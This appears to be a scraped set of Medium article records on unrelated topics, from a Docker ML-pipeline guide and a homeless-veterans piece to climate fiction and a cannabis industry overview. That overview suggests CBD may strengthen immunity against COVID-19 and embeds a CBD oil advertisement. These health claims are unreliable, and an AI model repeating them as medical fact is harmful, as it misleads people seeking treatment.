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政府研究海洋公園重組方案冀明年初公布 | A columnist in political development in Greater China region, technology and gadgets, media industry, parenting and other interesting topics. | https://medium.com/@frederickyeung-59743/%E6%94%BF%E5%BA%9C%E7%A0%94%E7%A9%B6%E6%B5%B7%E6%B4%8B%E5%85%AC%E5%9C%92%E9%87%8D%E7%B5%84%E6%96%B9%E6%A1%88%E5%86%80%E6%98%8E%E5%B9%B4%E5%88%9D%E5%85%AC%E5%B8%83-53d06942db58 | ['C Y S'] | 2020-12-27 23:48:33.537000+00:00 | ['Government', 'Hong Kong'] |
Homeless Veterans in Colorado | This last weekend I was driving home from lunch with some friends when I saw a long line of people outside the Fort Collins Rescue Mission. As I drove by, an older man and woman who appeared to be in their late 70’s waiting in line caught my eye. The older man was dressed in what looked like ragged old Air Force Physical Training clothes and the woman he was with was wearing the same thing.
It got me thinking, imagine volunteering to serve your country to come back to a life you no longer know how to live, to a home that is no longer yours. To fight a different more complex battle at home, homelessness.
It is no surprise that Colorado has a large military presence with 6 military bases, including the United States Air Force Academy. We constantly hear about our military in the local Colorado news stations, however, we rarely hear about one of Colorado’s largest issues, Veteran homelessness.
According to a Denver Post article, in 2018 Colorado showed the nation’s largest spike of homeless veterans. In 2019 it was estimated that Colorado’s homeless population was 10,857. 1,068 were estimated to be veterans according to The United States Council on Homeless.
Photo from the 2019 Annual Homeless Assessment Report (AHAR) to Congress.
The homeless population is tricky to account for because most agencies count homelessness by the number of people in homeless shelters, emergency shelters, and transitional housing programs. However, a large number of homeless individuals aren’t in shelters or programs due to a lack of knowledge/resources, location, and other outside elements. We may never get an accurate number.
The U.S. Department of Veteran Affairs (VA) estimates that 41.89 million Americans have fought in wars. Since 9/11, over 3.3 million men and women have served in the U.S. military and it is estimated that there are currently 1.4 million active-duty military service members.
So what is Colorado and its communities doing to help our homeless veterans?
Contact your local Veterans Affairs office. The VA can give you and your loved one guidance throughout the different state and national resources as well as non-profit that you or your loved one can qualify for. Some of the resources the VA can help you navigate are:
Housing Resources: Building Homes for Heros, Home for Our Troops, Miltary Housing Assitance Fund, Operation Forever Free, Rebuilding Together
Building Homes for Heros, Home for Our Troops, Miltary Housing Assitance Fund, Operation Forever Free, Rebuilding Together Housing Assitance: A.C.T.S. Resource Center, Colorado Coalition for the Homeless, Samaritan House Veteran Program.
A.C.T.S. Resource Center, Colorado Coalition for the Homeless, Samaritan House Veteran Program. Employment Assistance
Foreclosure Assistance
Some homeless recourses for the city of Fort Collins are the Fort Collins Rescue Mission, Catholic Charities Northern, and Murphy Center for Hope.
Many homeless veterans may not have knowledge of these recourses or access to phones and technology. The best way to help homeless veterans and other civilians is to get involved in your local community homeless efforts. Educate your community on this issue.
VA has founded a National Call Center for Homeless Veterans to ensure that homeless Veterans or Veterans at-risk for homelessness have free, 24/7 access to trained counselors. If you or a veteran you know is struggling call 1–877–4AID-VET (87–424–3838) or visit their website at www.VA.gov/homeless/NationalCallCenter.asp .
*This story was created for a class assignment. | https://medium.com/@cassidylabouff/homeless-veterans-in-colorado-aff022758082 | ['Cassidy La Bouff'] | 2021-03-29 17:19:19.015000+00:00 | ['Veterans', 'Colorado'] |
Building ML Pipelines | Building ML Pipelines
Dockerizing Your Code
Machine learning continues to evolve. While many folks are moving towards more modern approaches, there is still an apprehension around using Docker and Docker related technologies in much of data science. Making the change and using a containerized solution space like Docker is not necessarily an easy step to take — much like moving your data science workloads to the cloud wasn’t (and maybe you still haven’t taken that step).
Docker, often called a containerization technology, uses an abstraction of virtualization that reuses the host system Linux kernel to package and run an application in a platform-independent immutable deployment unit. This packaging creates immutably deployable software meant to be identically executable (and often abstractly reusable) across any platform with a running Docker or Kubernetes installation.
Why!
Now, what does this have to with building an ML pipeline? That’s an easy question. The difficult one is how to dockerize your data science code.
Data Science as a practice has some shortcomings — many sciences really do — but scientists don’t really want to admit to this. In data science, it is around how they execute their experiments, manage the results, and version their executable code. In reality, if you want to be as ethical in your experiments as possible, then you want to have completely versioned steps end-to-end. But we aren’t here to discuss the end-to-end problem: baby steps are in order.
An incremental improvement in your data science/machine learning practice is to get into the habit of dockerizing (creating Docker executable packages/images) the various components of your pipeline. Each piece, or if an appropriate collection of executable pieces, should be written into an immutable, versioned, and tagged docker image. This will, much more than version control, ensure that the code training is repeatable (regardless of where it runs). By using a Docker hub/repository, whether public or private, should be used so that you can store copies of all of your execution artifacts. All of this (and more) will help make sure that you are using ethical and compliant ML practices.
Stitching the execution of these pipelines together is not always a simple matter. It does take some time to educate yourself on building the pipelines and solving the approach that is the best fit for you and your team.
Dockerizing Your Pipeline
The first step in dockerizing your code is to know the basics of Docker. And since I have no intention of creating a tutorial on Docker at this time, I refer you to this excellent tutorial. The remaining steps are:
Create a Dockerfile for each section of your pipeline that you wish to keep separate in execution from the others. This separation can be done at language boundaries (R vs. Python), library version differences, natural/organic separations (feature selection vs. model training), data locality (on-premises vs. cloud), and so on. Choose a base Docker Image that will pacify most of your requirements — there are many pre-built Docker images tailored to handle different machine learning needs. But as a rule, most Docker images will not fit your specific needs. You should create images that fit your common stack so that you minimize build times for repetitive actions (like rerunning pipelines with small changes). The Docker image used as your base is placed on a line using the FROM statement.
Base docker image for Tensorflow
3. Add Requirements to the Docker image. These requirements can be anything from small datasets, configuration information (be careful here on storing secrets when your image may be public — and even when it is private — there are better strategies for this), code dependencies, and much more. These are the things that are needed to make your code GO. Adding content is done through either the COPY or ADD statement.
Copying python requirements
4. Copy Code that will be used in your execution. If you are working with a large project, you may have many Docker images for the same code base, and so on, then it’s most likely a better option to copy the entire codebase into your image (often these really are small in the grand scheme of things). This is done the same as adding requirements using the COPY or ADD statement — we have a different intent here.
Copying code to be executed.
5. Install Dependencies and Build Code that will be needed to execute your pipeline. Sometimes, like in most Python and R pipelines, it suffices to install your libraries, but if you are running code that is Java/Scala, C/C++, etc., you will need to compile your code within the Docker image. Dependencies are installed using RUN. A RUN statement will execute a bash command that follows. To make sure that your image is as small as possible — it's a Docker thing — you should chain your installation and build steps into a single bash command using && whenever possible.
Executing a pip install on python requirements
6. Set Execution Entrypoint so that when you run the Docker image, you choose to do so — it will know what code to run. This is done using the CMD statement. This command is a bit odd when you first encounter it but is essentially a list of strings that make up a bash command.
Execution using preferred exec format
Putting it all together, you have a rather simple layout of what you should do. Now, Dockerfile images in the wild often have much more going on. Sometimes the underlying OS dependencies need to be updated, more complex installations are executed, more and different kinds of files are copied, environment variables are set, and much more.
Contents of a Simple Dockerfile
7. Building the Image is the act of taking the instructions laid out in the Dockerfile and executing them against the Docker build engine to compile an executable engine. This step is not unlike the process one would take when compiling executable code — and if you read enough and happen to have the right software engineering background, you will start seeing a lot of parallels with object orient programming and software engineering general. Anyway, this image is built through a command-line bash command. It creates a binary image on your device that is now portable and executable on any platform where Docker is running — magic!
Command to build your docker image
8. Tag & Publish Image your image to make sure that it is available to remote environments, relative to where you built the image, to be executable. Tagging is how you assign identifiable versions to an image. It is not uncommon to have multiple tags for an image. The tag LATEST is most often used for the latest stable image — e.g., not test or experimental images.
Tag and Push commands
Organizing your Code
When working with Docker, especially when you have to manage to create your Docker images yourself, it is important to have a logical way of organizing your code. While the way I present here is how I personally like to manage the code with Docker, I don’t think that I would call it a preferred way. Ideally, whatever way you use, and any tooling you may use with it should give you the freedom to use your own organization.
My mind likes to compartmentalize different units of work. This is how I operate. So, naturally, I tend to organize my code similarly (all things code). Each logical portion of a pipeline/workflow tends to be placed within its own directory. This allows me to look at the code and see what I am doing. In the sample below, I will make a working assumption that all code for each stage is in one file (this is usually not the case — it is the exception — in well-organized code with a high reuse factor).
Roughly how I organize my code
Of course, you wouldn’t necessarily break things down this way — it doesn’t always beneficial to have such granularity — but the idea remains. What is important is for each thing I deploy is that I have a separate Dockerfile (not gonna talk about advanced approaches with templatization or other tools out there — we have one coming very soon and will fill it in here when ready — pay attention).
When I am working manually, I like to create a Bash script that encapsulates all of the work that I would be doing when deploying my code. In this case — as a point — that means having a complete build of all of the images (this is very quickly put together bash and not what someone would do in production).
Sample docker build and publish script.
Whatever you do, make sure that you have some organization that helps you organize your build process — whatever that may be (we can help).
Using your Dockerized Pipeline
Running your dockerized data science pipelines can be done in many ways. In traditional approaches (tech ages FAST), you would run it on an on-premises system or a VM using docker-compose — hopefully not running using Docker run (unless you are testing). Docker-compose, Kubernetes (with Argo — see this blog), Prefect, Apache Airflow, and various other technologies can be used to build an ML pipeline. These are all used to create an execution pipeline known as a DAG (see my blog here explaining what a DAG is). Once you have deployed your Docker and have chosen your pipeline orchestration technology, you can use it to run either locally or remotely (the preferred approach).
Your solution is now versioned, in a repository, and the data experiments you are performing are completely repeatable (cough, data changes, cough).
The best part, though, is that you will get the same results when you run it remotely, no matter where it is running. You won't need to worry about where it is running, and you will have your machine free from computational load to continue to develop more and better models.
What I Didn't Talk About
Quite honestly, a ton of topics — it is just not possible to give this justice in a single blog post. I can only give you a taste, and it is up to you where to go next. Building automation around your training process, storing and organizing your simulation results, deploying containerized models, obfuscating or hiding away the creation of your pipelines in complex tools, and so on — there are many topics. And I will be walking through these topics one at a time in this Building ML Pipelines series. They aren’t in any particular order: they will reference each other (as you have surely seen some links above), are meant to provide you some insight into the intricacies of doing ML in our evolving tech world, and hopefully help guide you down your path to MLOps maturity.
How Hashmap Can Help
The next step is deciding whether MLflow should be part of the data analytics solution for your organization. Hashmap can help you here. Our machine learning and MLOps experts are here to help you on your journey — to bring you and your organization to the next level. Let us help you get ahead of your competition and become truly efficient in your data analytics.
If you’d like assistance along the way, then please contact us.
Hashmap offers a range of enablement workshops and assessment services, cloud modernization and migration services, data science, MLOps, and various other technology consulting services. | https://medium.com/hashmapinc/building-ml-pipelines-654daf4f23dc | ['John Aven'] | 2020-11-19 19:26:50.117000+00:00 | ['Machine Learning', 'Docker', 'Data Science', 'Containerization', 'Mlops'] |
4 Important Traits of a Great CFO | A great Chief Financial Officer is crucial to the success of a business, but what makes a great CFO?
With a rapidly changing business environment that’s becoming more and more global, as well as advances in analytics technologies, a great CFO must possess a number of traits, beyond the obvious finance knowledge, to ensure they’re successful.
Integrity
First and foremost, a great finance chief must be honest and stand by what they believe. If the numbers suggest a course of action is taken, it’s important the CFO be able to stand behind it, whether it will be well received or not. The CFO is a guardian of everyone’s money and must be able to communicate both good and bad news when it arises. Strategic Vision
Like a chess player, a great CFO must be able to think ahead and envision multiple outcomes or paths to success. Looking at the bigger picture, the best finance chiefs help implement and execute business and finance strategies to evolve the business as a whole. Communication Skills
Communication is important to a lot of positions, but especially so when one often has to be the bearer of bad news. A great CFO is able to communicate the business’s finances both orally and in writing, as well as provide the necessary information to key personnel in an efficient and easy to understand way. Business Expertise and Knowledge of Operations
A great CFO isn’t just a numbers guy and needs to understand many of the business’s operations and procedures in order to help strategize and provide insight when problems arise. A great CFO should be willing to step out of their office and connect with all parts of the business.
A great CFO must be able to integrate into all parts of a company, rather than just being the budget guy. CFOs must possess leadership qualities and be able to adapt when things don’t go exactly as planned. A CFO who spends all their time in the office crunching numbers isn’t as valuable to a company as someone willing to dig in and connect with each department to get a better view of the big picture. | https://medium.com/@adviaconsulting/4-important-traits-of-a-great-cfo-50b76c30180c | ['Advia Consulting'] | 2020-12-07 15:55:37.355000+00:00 | ['Consulting', 'Financial Planning', 'Corporate Culture', 'CFO', 'Enterprise'] |
Como implementar um modelo de NLP de analise de sentimentos de texto em uma api rest em FastApi com deploy em heroku | LucasCapSilva/fastapi-vaderSentiment-heroku
GitHub is home to over 50 million developers working together to host and review code, manage projects, and build… | https://medium.com/@lcapelotto/como-implementar-um-modelo-de-nlp-de-analise-de-sentimentos-de-texto-em-uma-api-rest-em-fastapi-39a70aa17e7d | ['Lucas Capelotto'] | 2020-11-22 02:29:58.507000+00:00 | ['Heroku', 'Fastapi', 'Machine Learning', 'Backend', 'Inteligencia Artificial'] |
This is me at work. | This is me at work. I’m watched — without my knowledge or permission. My emails are shared and/or forwarded — without my knowledge or permission. I’m discussed and then given the written document. I’m accused of being rude/impatient/condescending/rigid/not fitting with “our” culture — all without any concrete examples, as of yet. I don’t know what I said to whom to warrant this labelling. I’m hounded, supervised and will have to submit to 3 meetings per week with Administration. I’m afraid to breathe. I’m afraid to offend and I don’t know who I offend, when or how. I live in constant low-grade anxiety at work.Good and kind liberals, all of them. With the one person-of-color (for lack of a better term) to interface with me.
Due to random white rage/sensitivity, I. Can’t. Breathe at work. | https://medium.com/@19119/this-is-me-at-work-f2e58182e1c5 | [] | 2020-12-25 13:47:05.739000+00:00 | ['Umair Haque', 'Marleyk', 'White Privilege'] |
Ashes to Ashes | Ashes to Ashes
Photo by Artiom Vallat on Unsplash
19 June 2069
The purple stain around her full lips looked almost like lipstick. It was a shade she would’ve worn in the old days. The days before the oxygen masks, the water, the looming threat of death — -this life. I wonder if she’d done it purposefully. So that she wouldn’t have to wait with us.
Wait for it to come and extinguish us. The way it smothered papa and ma. I wondered if like them, she felt it rising beneath her but was powerless to fight back. I wonder if she made peace and allowed it to fill her lungs, her throat, her mouth until it strangled all signs of life.
I could not ask why because secretly we’d all hope to be so lucky. Lucky enough for it to come for us as we slept and not be as violent as everything is now. Eating is violent. You cannot trust the food. It is poisoned. It is a gamble but not eating is certain death. So we eat and then we vomit and defecate until worms and viruses free themselves into the sea. After a while though, I’ve noticed that our stomachs have stopped fighting back. They’re so hungry that they welcome the poison. The taste buds start to enjoy the taste of rot. We cannot trust our own bodies, they betray us.
The hospitals have quietly closed. There are local “clinics” — -in the same way, I remember parlor shops from our childhood — -in people’s homes. It is hard to know who to trust. Any salve, any bush is welcome when death seems to be nipping at your heels. I don’t really understand what we are trying to save ourselves for now, though. I suppose that’s why the neighbor down the road has stopped offering me his many concoctions. He cannot answer my question, “what is de point? What are we actually saving?”
As Granny used to say, “Monkey know which tree to climb.”
I won’t be trading any of my food or torchlights for a nondescript bush to soothe this dying stomach. It has all begun to sort itself out. I have nowhere specific to be on any given day or any given time to be worried about stopping worms or viruses from expelling themselves from this body. The waters rise almost every night, it will claim this body whether in whole or part. Why should I worry about my sugar being high or cholesterol? I’ll be dead the same way.
Jules was healthy. She was always drinking somebody’s bush tea and yet, that water took her, same way — -dead.
We will set her ablaze on a raft that is floating out on the sea. As little girls, we would sing, “Ashes on de water, ashes on de sea. We all jump up with a one, two, three.” I will jump up for her. She will finally be free.
The water has been upending all of the cemeteries. The dead float amongst the living on the coasts. Nobody has time for those trivial things anymore; funerals and weddings, even babies — -collateral damage of the times. The coasts are receding like Uncle Boisie’s hairline. They say that in America, all dem millions of people have been forced inland to the midwest. The oceans have eaten away at them. At least they have plenty for it to feast on. It’s been eating what we don’t have to give.
When they evacuated Brooklyn and Queens — -up there in New York — — cousin Carlton and dem say they were coming home. When I asked “why?” Nobody answered, but I knew the answer and I knew they didn’t want to say it aloud.
Just as we lie better in our native tongue, the thought of death is more comforting in the land where your navel-string is buried. The joke is on them though. I’m pretty sure alla dem strings — -mine included — — are at sea too. Why come back and die sooner?
This place ain’t but the size of Brooklyn and we’re all moving farther inland into the bush. People are building latrines. I never knew latrines. We always had indoor plumbing, but life is regressing. I remember my grandfather talking about his grandmother’s “green bathroom”. Moss had overtaken the walls of her latrine and even as a small child he rebuffed the notion of having to go outside to bathe in the company of mossy walls and whatever of God’s creatures lived in them. I wonder what Grandpa would say about us now. I wonder if he could have ever imagined this — -Carlton and dem coming home, running toward death. It seems counter-intuitive to me. I think it would’ve felt so to Grandpa too. He was a logical man. Survival is the name of the game. They are better off trying to survive there, but you can’t tell hardback. stubborn old people what to do. So, I just watch and wait.
I’m waiting for the day that I can stop waiting for this thing to come and kill me. I want to be free like Juliet. I wonder if she’s with Papa and Ma. They were so full of life.
When Papa was still teaching at the University of the West Indies and used to sneak us into the labs to homeschool us in science, we spent hours dissecting things. He would talk to us about how the world was changing. I can hear his voice ringing in my ears, “It’s too late for all these things de environmentalists want to do. Things will only get worse. Best to enjoy the days we have left.” We didn’t really understand what he meant then.
At home, Ma would say “Frank, what yuh tellin’ de chiIdren? Let dem be children!” He would shake his head, smile and say “listen to yuh mother! Doh listen to dotish old men like me.” We would giggle and leave his words hanging in the air.
I don’t remember ever hearing him say “I told you so,” though, I wouldn’t have given him wrong, if he did. I think he had more days than he anticipated. Not many people live to old age anymore. Life has gotten too hard. I’m glad he — -they — -lived when that was possible.
Ma was fiery. She was always dancing. Her statuesque frame was legendary and her ebony skin so smooth. “Legs fuh days” is how Papa described her. Even after children, after surgery, after failure, she kept on those legs. She channeled everything into her dance. I remember us vividly playing at every single rehearsal, show — -anything. We knew the layout of Queens Hall better than that of our home.
Jules and I would pretend to be her and dance each step backstage as she practiced on stage. She would bribe us with mangoes or sticky sweet tamarind candies, if we promised to stay quiet. We weren’t very good at staying quiet, but that never stopped her from giving us our treats. I cannot remember the last time I had a starch mango or any mango. I wonder if they have mangoes and tamarind candy up there. I wonder if Jules is dancing with Papa and Ma. I wonder if they are seeing what’s happening down here and coming for me next. I can only hope.
Today, though, I will have to get a move on. We have to transport the body from her little house up to Las Cuevas. When the last storm hit, it blocked all of the roads. We can hitch a ride with her to Santa Cruz, if there are cars running. I used to know a lot of men that ran taxi up on that side. When the business was thriving, I had a lot of those boys making deliveries to town but these days I don’t know. Everything and everyone I knew then — -when I came home — — seems useless now. Plenty people abandoned their vehicles when the gas stations got destroyed. There is always somebody with money and a back-up plan in this here sweet T and T though.
My friend, Marcia’s first cousin, has been hoarding gas for his vehicle for the last five years. He kept doing reports and trying to warn the government. He was a big boy in the energy company back then. Everybody ignored him so he started preparing for the inevitable. The rest of us are only now understanding that the inevitable he was going on about was the dissolution of life as we knew it and life at all.
Her boys will help me transport her. They are good boys. Twenty and twenty-one now; they had all the promise of world class cricketers as children, but then the sports stopped. It all stopped. The cinema, gymnastics, dance, pan, and anything with a ball — -it all died when the third set of water pounded down our little island.
The oxygen masks are heavy plus their mama will be so much for them. I do hope that we make it today. | https://medium.com/womans-rant/ashes-to-ashes-5765d86ec34e | ['Melissa A. Matthews'] | 2020-11-23 13:21:30.758000+00:00 | ['Death', 'Short Story', 'Fiction', 'Caribbean', 'Environmental Issues'] |
Coronavirus Lockdown: Cannabis Industry Overview | During the COVID-19 turmoil, the closure of dispensaries and brick-and-mortar stores is a matter of concern. Those who suffer from chronic diseases may wonder how and where to get medicinal cannabis. They may be bothered with more global issues such as what will happen in the future? Will worldwide manufacturers run out of the ability to provide cannabis further? So far, the situation doesn’t seem so bad, and everyone seems to adapt to the changing environment. In this article we will consider how are things with medicinal cannabis and what to expect from the future but first let’s start with the basics.
What is coronavirus?
You have probably heard more than enough about the novel coronavirus. However, practice makes perfect, especially when the media is loaded with misleading information. As an example, the terms “coronavirus” and COVID-19 are often used interchangeably. It is more accurate to say that COVID-19 is an infectious disease, caused by the novel coronavirus SARS-CoV-2.
Coronaviruses are known for a long time and unite a large family of viruses that cause respiratory infections ranging from the flu or cold to more severe ones such as Severe Acute Respiratory Syndrome (SARS) or Middle East Respiratory Syndrome (MERS). This new virus and disease were unknown before the outbreak began in Wuhan, China, in December 2019.
People can catch COVID-19 from other people who have the virus via airborne droplets. It doesn’t mean jumping to the side each time someone sneezes or coughs. However, keeping a distance of more than 1 meter away from a person who is sick is the right thing to do.
Even though the virus spreads through respiratory droplets, the risk of catching COVID-19 from someone who has no symptoms is low. And yet, you can get the virus from someone with mild symptoms. The risk of catching COVID-19 from the faeces of an infected person is also low. There is also no evidence that any pets can transmit the virus though there is one case of an infected dog in Hong Kong.
So far, there is no vaccine or approved medications that may act against the disease. The treatment is focused on the alleviation of the symptoms. Antibiotics do not work against the virus and should not be used to prevent or treat COVID-19. The WHO does not recommend self-medication to prevent or cure COVID-19.o Now the hopes come from ongoing clinical trials that include drugs available on the market, such as Chloroquine.
How to protect yourself from the virus?
The most important recommendations are to stay at home and not panic as your immune system can respond to stress in a way that harms health. It is worth staying aware of updates on the COVID-19 outbreak, available on the WHO and national and local public health authority websites. Try not to believe each piece of information that pops up on your screen.
Some simple precautionary measures may help to prevent the virus or prevent its spread:
Regularly and thoroughly wash your hands with soap and water or clean them with a sanitiser;
Keep at least 1-metre distance between yourself and anyone who coughs or sneezes;
Use a tissue in case you cough or sneeze or your elbow;
Avoid touching eyes, nose and mouth as it may transfer the virus;
Stay home and self-isolate if you feel unwell and have a fever, cough and difficulty breathing. In such a case, you should seek medical attention and follow the directions of your local health authority.
As for the masks, they are only necessary if you have COVID-19 symptoms or take care of someone who may have COVID-19. Due to a global shortage of masks, the WHO encourages people to use masks wisely.
The state of medical cannabis in the world
What is medical cannabis?
Medical cannabis, or medical marijuana, includes cannabis and cannabinoids prescribed by doctors for their patients and taken for medicinal purposes. Medical cannabis uses the same parts of the cannabis plant just as a recreational one but used to treat various health conditions. The cannabis plant contains over 100 cannabinoids. All of them have a different effect on the body. Among the most well-known are tetrahydrocannabinol (THC) and cannabidiol (CBD). THC can also produce a psychoactive effect, known as the “high”. People feel it when they smoke marijuana or eat foods that contain it.
You may think that marijuana is a drug of the hippies time, but people have been using the cannabis plant for medical purposes for a long time.
The High Strength 20% (2000mg) CBD oil from Arima is a natural, potent product that will not only make you feel good; but convince you to believe in the true, healing powers of nature, and help you live a healthier life.
Scientific research suggests that cannabinoids may be helpful in many health conditions:
chronic pain and inflammation,
stress and anxiety,
neurological disorders,
nausea and vomiting,
appetite and sleep loss,
mental health conditions,
cancer symptoms,
muscle spasms,
some eye conditions.
Cannabis use may increase the risk of minor and significant side effects such as dizziness, tiredness, nausea, and hallucinations. Long-term effects of cannabis are not apparent, and patients should be examined by a physician.
Medical cannabis can be administered in different ways, such as:
pills or capsules,
oils and tinctures,
dermal patches,
sprays for oral or dermal use,
cannabis edibles,
smoking and vaporising dried buds.
Some countries also allow for the use of synthetic cannabinoids.
Countries that permit cannabis for medical purposes include Canada, Australia, Chile, Colombia, Greece, Germany, Israel, Italy, the Netherlands, Poland, Peru, Portugal, and Uruguay. In the United States, 33 states and the District of Columbia have legalised cannabis.
What is the difference between medical and recreational cannabis?
In short, the major differences are the reason for the product use and the laws of the country in which the cannabis is used. Recreational cannabis or marijuana is any form of product used without medical justification.
Here are the main differences between medical and recreational cannabis:
Usually, recreational cannabis is associated with strains that contain a high THC level. That means a high probability to feel the “high” effect. Even though there’s no real difference between the concentrates and flowers of both cannabis types, the potency of medical cannabis edibles is generally higher than recreational ones.
Recreational cannabis may contain a higher THC concentration than medical type. People who prefer psychoactive effects over benefits may choose this type.
Medical cannabis must be prescribed by a physician, and you need to have a qualifying condition to get a recommendation for it and can buy it from a regulated dispensary. Recreational marijuana can be purchased by anyone in need of a recreational dispensary and doesn’t require a recommendation or a medical card.
There may be different age limits for both cannabis types. Usually, you need to be over 18 to buy medical cannabis from a dispensary. However, due to some circumstances, some people under 18 can apply for a medical marijuana card. These regulations vary in different countries. In most cases, you need to be over 21 to buy recreational marijuana from a dispensary.
Can cannabis be helpful for COVID-19?
The potential of cannabis and CBD products for the novel coronavirus is yet to be considered. However, some promising benefits are already proven by numerous studies.
Scientific research shows that cannabinoids may influence the immune system, viral pathogenesis, and viral replication. Moreover, stimulation or suppression of cannabinoid receptors during viral infections may be useful for the development of safe and effective antiviral treatments. CBD may stimulate the immunity system, which is beneficial for managing viruses. Cannabidiol is shown to cause anti-inflammatory effects in the case of multiple sclerosis, which is useful for conditions with an inflammatory component.
Studies have suggested that CBD may stimulate cell death in cells infected by the virus, that can accumulate mutations and become dangerous. However, it doesn’t concern healthy cells. Cannabis also has the therapeutic potential for the treatment of viral hepatitis.
Due to the bi-directional effect of, CBD may either suppress or encourage the production of cytokine, interleukin-2 (IL-2), and its receptor IL-2R, that are important for maintaining the balance.
Moreover, numerous studies have shown that cannabidiol may help to improve sleep and lower anxiety, which is helpful during pandemic times.
In general, CBD products may positively influence the endocannabinoid system, necessary for the balance in the immune system and its response to viruses, such as the COVID-19. The stable immune system is ready to adapt to the high-risk environment, suppress dangerous over-reactions, and improve under-reactions.
How to store cannabis products?
The study from the Journal of Pharmacy and Pharmacology has stated that cannabinoids can be stable up to two years if they’ve been stored properly. Right storage requirements mean more than placing the pack in your drawer. If you would like to enjoy your cannabis in the long run, you need to create the perfect environment.
The main factors that may damage your precious cannabis include:
Light
Light is thought to be the most significant factor in your cannabinoids degradation as it may destroy valuable compounds in cannabis, such as cannabinoids and terpenes. Keeping the product in the non-transparent container and out of direct light may help to avoid loss of important chemicals and control the temperature.
Air
The right amount of air is important for keeping cannabis fresh. Another significant factor in long-term cannabis storage is the oxygen level. Too little air can alter the relative humidity and cause mould or mildew, especially if the plant buds are not completely dried before storage. Too much air may speed up the degradation process of cannabinoids.
The best way to protect cannabis from oxygen exposure is to vacuum seal it and keep it in canning jars of the right size.
Moisture
Excessive moisture can cause mould, so it is important to keep buds dry. However, quality buds can’t get too dry and lack essential oils. The best way is to maintain proper humidity levels, ideally in the range of 59–63 relative humidity. You can use special pods for humidity control.
Temperature
High temperatures can dry out cannabis buds and make terpenes evaporate, which leads to harsh smoke and an unpleasant flavour. As mould occurs at temperatures from 78 to 86 degrees, the perfect storage temperature for cannabis shouldn’t exceed this level.
Don’t store cannabis in the refrigerator, freezer, plastic bags or containers. Store grinders and pipes away from cannabis.
The same recommendations apply to CBD products. Cool, dark location with a proper humidity level is the best choice of storage space.
Why does medical cannabis access get critical?
You’ve probably seen the pictures on social media of long queues outside coffee shops in the Netherlands. Many businesses were ordered to close or decided to restrict their activities during the outbreak. Customers were standing in the queues to beat a deadline and manage to stockpile cannabis products for the long weeks of lockdown.
During COVID-19, the question where and how to get your medical cannabis gets more complicated, especially for the immuno-compromised people who can’t go to the store that easily without posing a real risk to health. So, one of the most important concerns for medical cannabis patients is how to get cannabis supplies while safeguarding health.
How to get medical cannabis in the time of COVID-19?
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There are several ways to get the needed medical cannabis stuff:
Online delivery
Many dispensaries, including those for medical products, offer to place the orders via the phone or online and deliver them directly to a patient’s home.
Curbside delivery
This type of delivery is an excellent option for those dispensaries that do not offer delivery while doing their best to provide safe patient access to cannabis. Customers can place an order online, then drive to a dispensary and get their cannabis delivered to their vehicle.
Telemedicine
Telemedicine with medical cannabis programs is widely offered in the US. Those in need may consult with doctors and get treatment recommendations while staying at home. Many states provide virtual encounters for renewals, but not for initial consultations.
Hopefully, many dispensaries that remain open during the quarantine have made their hygiene measures stricter to minimise the spread of the novel virus.
Some dispensaries that remain open keep the recommendations of social distancing and regularly clean surfaces and premises. Some dispensaries have special hours for older people and other vulnerable groups.
It is worth mentioning that medical cannabis patients can also use recreational cannabis to treat illness or pain. However, in this case, they have no doctor’s administration and would purchase it illegally. These individuals may find it challenging to get cannabis during the lockdown. That is why some advocates recommend a moratorium on recreational dispensaries.
The state and perspectives of the global recreational cannabis market
In the mid of 2019, the recreational use of cannabis was considered illegal in many countries except for Canada, Uruguay, and 11 states and the District of Columbia in the United States. The United Nations added the cannabis plant to its list of Single Convention on Narcotic Drugs, prohibiting its use for recreational or medical purposes. The Single Convention on Narcotic Drugs of 1961 is a global treaty to forbid production and supply of specific (normally narcotic) drugs and drugs with similar effects apart from under licence for medical treatment, research, and other specific purposes. That is why recreational cannabis remains illegal in many places and data regarding its consumption is lacking.
According to Euromonitor International report in February 2019, the current global market for cannabis is estimated at US$150B. So far, North America is considered the largest legal market and may keep this status up to 2024. The US sales of recreational cannabis exceeded half of the total legal cannabis sales in 2018, while Canada’s legal recreational sales reached the fifth part of total legal sales in 2018. These countries are expected to get a more considerable opportunity in the recreational market. According to BDS Analytics, Canada is expected to reach 93% contribution or US$4.8B, from recreational sales to its total legal sales in 2024; similarly, NCIA reports the US could reach more than 69% contribution from legal recreational, or US$15.7B, in 2022. Uruguay legalised recreational cannabis for purposes in December 2013 but started the sales in pharmacies in late 2017. However, the growth in the country’s legal cannabis market was slow, challenged by supply-related concerns.
According to The European Cannabis Report, 4th Edition by Prohibition Partners, the illegal drug market in Europe exceeded €40B in 2018, with a significant share of cannabis. If medical cannabis and recreational cannabis will be legalised in all countries in Europe by 2023, the European recreational market is expected to grow to €65B by 2028. Therefore, the growth can be encouraged by new products and improved supply and distribution channels due to the anticipation of future legalisation.
So far, recreational cannabis use, though in small amounts, have been decriminalised in Italy, Spain, Netherlands, Portugal, Greece, Belgium, Austria, Croatia, Malta, and Slovenia. According to The European Cannabis Report 4th Edition, some countries such as Germany, Denmark, Malta, Greece, and Italy have discussed the possibility of an entirely regulated recreational cannabis market. Luxembourg authorities have announced plans to legalise recreational use before 2023. France has legalised high CBD/low THC products across categories but has no plans to legalise recreational cannabis and may authorise it only for medical purposes.
France, Italy, Spain, the Czech Republic, and the Netherlands have the highest rates of cannabis use in Europe. Amsterdam is still considered a haven for recreational cannabis. In Italy, high-CBD, low-THC cannabis, known as “cannabis light” is being sold across the country, but high-THC products are sold in the black market.
According to the ECMDA, Statistics Bulletin 2018, the UK is on the 9th place with 6.6% cannabis use in Europe.
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In Asia, cannabis was mostly legal and used in traditional medicines up to the 1930s. Then, following the US actions, the United Nations added the cannabis plant to the list of Single Convention on Narcotic Drugs in 1961. Moreover, multiple religions of the region had a zero-tolerance toward cannabis use. According to the UNDOC World Drug Report 2019, the market of recreational cannabis in Asia is underdeveloped, and the level of cannabis use remains low, up to 1.8% in 2017.
According to the Asian Cannabis Report by Prohibition Partners of 2019, the size of Asia’s recreational market is expected to exceed US$2.7B by 2024. There is an assumption that all the countries of the region will have the medical cannabis legalised and recreational cannabis regulated (except China) by 2024. As per the UNDOC World Drug Report 2019, the rate of cannabis use in Africa accounts for 6.4% in 2017 annually. According to the African Cannabis Report by Prohibition Partners, the recreational cannabis market can surpass US$6.3B by 2023 with potential legalisation of medical cannabis and regulation of recreational cannabis in these countries by this time. This assumption concerns South Africa, Zimbabwe, Lesotho, Nigeria, Morocco, Malawi, Ghana, Eswatini, and Zambia.
